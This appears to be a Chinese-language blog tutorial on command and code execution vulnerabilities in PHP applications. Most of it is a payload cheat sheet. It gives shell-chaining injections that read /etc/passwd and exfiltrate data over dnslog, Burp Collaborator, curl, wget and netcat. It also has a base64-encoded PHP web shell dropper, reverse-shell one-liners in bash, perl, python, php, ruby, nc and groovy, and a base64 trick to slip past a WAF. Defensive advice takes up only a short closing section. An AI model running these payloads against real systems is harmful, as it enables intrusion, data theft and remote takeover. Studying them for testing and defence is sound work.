命令执行漏洞
应用在调用函数去执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞。
简而言之,可执行系统命令。
PHP相关函数:
| system(args) 有回显 |
| passthru(args)(有回显) |
| exec(args) (回显最后一行-必须 echo 输出) |
| shell_exec(args) (无回显-必须输出) |
| 反引号:`` |
| popen(handle,mode)(无回显) |
| proc_open('cmd','flag','flag')(无回显) |
| $process = proc_open('dir',$des,$pipes); |
| echo stream_get_contents($pipes[1]); |
利用方式
shell/cmd利用技巧
| ;(分号) |
| 命令按照顺序(从左到右)被执行,并且可以用分号进行分隔。当有一条命令执行失败时,不会中断其它命令的执行。 |
| ping -c 1 127.0.0.1;whoami |
| |
| 命令执行漏洞可以直接使用&&或者|和管道命令执行其他命令 |
| 命令链接符号解析 |
| | (管道符号) |
| 通过管理符 可以将一个命令的标准输出管理为另外一个命令的标准输入,当它失败后,会执行另外一条命令 |
| ping -c 1 127.0.0.1|whoami |
| |
| &(后台任务符号) |
| 命令按照顺序(从左到右)被执行,跟分号作用一样;此符号作用是后台任务符号使 shell 在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作 |
| ping -c 4 127.0.0.1&cat /etc/passwd& |
| |
| &&(逻辑与) |
| 前后的命令的执行存在逻辑与关系,只有【&&】前面的命令执行成功后,它后面的命令才被执行 |
| ping -c 4 127.0.0.1&&whoami |
| |
| ||(逻辑或) |
| 前后命令的执行存在逻辑或关系,只有【||】前面的命令执行失败后,它后面的命令才被执行; |
| ping -c ||whoami |
| |
| |
| `(反引号) |
| 当一个命令被解析时,它首先会执行反引号之间的操作。例如执行 echo `ls -a` 将会首先执行 ls 并捕获 |
| 其输出信息。然后再将它传递给 echo,并将 ls 的输出结果打印在屏幕上,这被称为命令替换 |
| echo `whoami` |
| |
| $(command) 命令执行 |
| 这是命令替换的不同符号。当反引号被过滤或编码时,可能会更有效。 |
| ping -c 4 127.0.0.1 $(whoami) |
| |
| win 命令链接符 |
| | & || && 跟 linux 一样 |
| |
| 有回显的 |
| 发现命令执行漏洞,如果是回显的情况下,获取系统敏感信息。 |
| win 操作系统 |
| type c:\windows\win.ini |
| linux 操作系统 |
| cat /etc/passwd |
| |
| 无回显 |
| 有回显的情况下相对交少,一般在实战环境环境中,无回显的环境较多,证明漏洞存在就需要各种利用外通信技巧 |
带外通信技巧及绕过
利用管道符号写shell
| echo "PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWydjbWQnXSk/Pg=="|base64 -d >shell.php |
利用dnslog带外获取信息
| ping -c 4 127.0.0.1| ping `whoami`.3el05z.dnslog.cn |
使用 burpsuite burpcollaborator , 这是burp内置的一个dnslog 平台模块
| ping -c 4 127.0.0.1| ping `whoami`.xlmiw1sf16svvsbtwr5upgac137tvi.burpcollaborator.net |
使用 curl 命令
| ping -c 4 ||curl http://192.168.0.133/?`whoami` |
使用 wget 命令
| ping -c 4 ||wget http://192.168.0.133/?`whoami` |
netcat
如果目标系统存在有 netcat 在 ubuntu 系统都会存在的。使用命令读取文件传递到远程服务器上
远程服务器监听命令
本地执行命令
| nc 192.168.0.133 9999 </etc/passwd |
会在查看远程服务器生成 passwd 文件
命令执行反弹shell
远程服务器 nc 监听命令
nc -vlnp 8080
受害者反弹 shell 命令,每种语言都有 sock 连接命令,可以根据不通过的环境,选择合适的命令。
| bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 |
| perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
| python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
| php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' |
| ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d2>&%d",f,f,f)' |
| nc -e /bin/sh 10.0.0.1 1234 |
| rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f |
| r = Runtime.getRuntime() |
| p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) |
| p.waitFor() |
如果有 waf 进行连接,可以把语句进行 base64 加密后,因为加密后的字符串没有触发拦截规则,再利用shell 命令再进行解码。
bash -i >& /dev/tcp/192.168.0.103/8080 0>&1
base64 编码后
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAzLzgwODAgMD4mMQ==
受害者执行
| echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTMzLzgwODAgMD4mMQ=="|base64 -d|bash |
防御方式
- 不执行外部的应用程序或命令
尽量使用自定义函数或函数库实现外部应用程序或命令的功能。在执行 system、eval 等命令执行功能的函数前,要确认参数内容。
代码执行漏洞
当应用在调用一些字符串转化为代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码注入漏洞(代码执行漏洞)。
PHP
eval()、assert()、preg_replace()
python eval
Java 没有类似于前面两者的函数,但是有反射机制,并且有基于反射机制的表达式引擎,如:0GNL、SpEL、MVEL 等
利用方式
| phpinfo(); |
| fputs(fopen("shell.php","a"),"<?php phpinfo();?>"); |
| |
防御方式
| 1、使用 json 保存数组,当读取时就不需要使用 eval 了 |
| 2、对于必须使用 eval 的地方,一定严格处理用户数据(白名单、黑名单) |
| 3、字符串使用单引号包括可控代码,插入前使用 addslashes 转义(addslashes、魔数引号、htmlspecialchars、 htmlentities、mysql_real_escape_string) |
| 4、放弃使用 preg_replace 的 e 修饰符,使用 preg_replace_callback()替换(preg_replace_callback()) 5、若必须使用 preg_replace 的 e 修饰符,则必用单引号包裹正则匹配出的对象(preg_replace+正则) |
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· SQL Server 2025 AI相关能力初探
· 单线程的Redis速度为什么快?
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码